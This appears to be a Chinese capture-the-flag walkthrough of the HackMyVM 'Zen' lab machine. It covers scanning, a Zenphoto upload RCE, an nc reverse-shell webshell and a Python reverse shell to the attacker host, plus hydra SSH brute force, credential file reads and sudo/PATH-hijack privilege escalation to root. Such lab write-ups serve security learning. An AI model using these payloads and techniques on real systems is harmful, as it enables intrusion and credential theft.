零基础学黑客,搜索公众号:白帽子左一
作者:掌控安全——xiaoxian
一、环境配置
1、靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Zen
靶场: HackMyVm.eu
靶机名称: Zen
难度: 困难
2、搭建环境
攻击机:kali 192.168.100.102 将kali网卡桥接到靶机在一个网卡上
二、渗透过程
1、信息收集
获取靶机IP地址
nmap -sP 192.168.100.1/24
扫描端口服务
sudo nmap -sC -sV -p- 192.168.100.105 -oN nmap.log
发现有 robots.txt 访问一下
发现有几个目录,访问试试
只有一个zp-core目录访问后是空白页面,其他都报403
看看主页
开启BP抓取数据包看看
好像没啥搞头,继续目录扫描,看是否有敏感目录
目录扫描
gobuster dir -u http://192.168.100.105/site/ -w /usr/share/dirb/wordlists/big.txt -t 100 -x .php,.txt,.zip
尴尬,好像没啥目录
换个工具试试,也有可能是字典不够强大…
dirsearch yyds 扫出来了些东西
挨个访问,也没啥有用的东西啊…
回看刚刚的数据包,好像有个东西错过了
zenphoto 是个应用,查看响应版本的是否有漏洞
找到一个文件上传RCE的漏洞
但是需要登录
所以我们现在需要寻找登录的目录
dirsearch -u http://192.168.100.105/zp-core -t 100 -e php
找到登录地址了
访问
但是不知道账号密码
啊这 点一下登录框就提示admin
尝试爆破一下
发现不行
回忆之前发现的一个疑似密码的目录
很快啊,就进去了~
登录成功,来找找文件上传漏洞
跟着要求复现一下
需要在插件中找到上传插件,然后勾选elFinder并点击应用,之后将webshell拖放到上传功能页面中上传,最后到uploaded目录下找webshell文件
尝试上传webshell
webshell写一个访问式反弹的语句
&1|nc 192.168.100.102 443 >/tmp/f’);?>
上传成功,准备连接执行反弹shell
kali 监听 443端口
sudo nc -lvvp 443
访问webshell触发反弹
在webshell文件中右键菜单中点击Get info即可触发反弹
反弹成功,
现在我们开始信息收集,查看些敏感信息
发现无法交互
要先切换到交互shell
linux系统默认安装python
我们利用python来获得一个交互shell
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset
切换成功,我们来看看一些敏感信息
cat /etc/passwd |grep bash
发现了三个账户信息,继续寻找
cat /var/www/html/zenphoto/zp-data/zenphoto.cfg.php
发现数据库账号密码,test teste
上面有拿到三个账户名,现在对这三个用户进行密码爆破
vim user.txt
kodo
zenmaster
hua
将三个用户名写入 user.txt 进行ssh 爆破
hydra -L user.txt -P user.txt ssh://192.168.100.105
拿到账号密码,登录SSH
ssh zenmaster@192.168.100.105
登录成功,找到user.txt
hmvzenit
发现使用kodo 使用su命令无需密码
sudo -u kodo /bin/bash -p
拿到kodo权限,继续提权
发现hua可以无密码执行/usr/bin/see,
发现see是run-mailcap的软链接,来看看run-mailcap如何提权
https://gtfobins.github.io/gtfobins/run-mailcap/
知道提权方法,尝试一下
sudo -u hua /usr/bin/see --action=view /etc/hosts
命令执行后直接输入!/bin/bash然后回车返回hua的shell
还得继续提权
发现可以使用hua用户身份执行/usr/sbin/add-shell ze
看看/usr/sbin/add-shell是什么程序
cat /usr/sbin/add-shell
在源码中看到程序会执行awk命令,我们来劫持这个命令来反弹shell
kali 上监听 4444端口
sudo nc -lvvp 4444
在/usr/local/bin目录下创建awk
cd /usr/local/bin/
vi awk
chmod +x awk
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.100.102”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,“-i”]);’
使用root用户身份执行add-shell
sudo /usr/sbin/add-shell zen
反弹成功,拿到root权限,来找下flag
拿到root.txt 渗透结束
hmvzenit
hmvenlightenment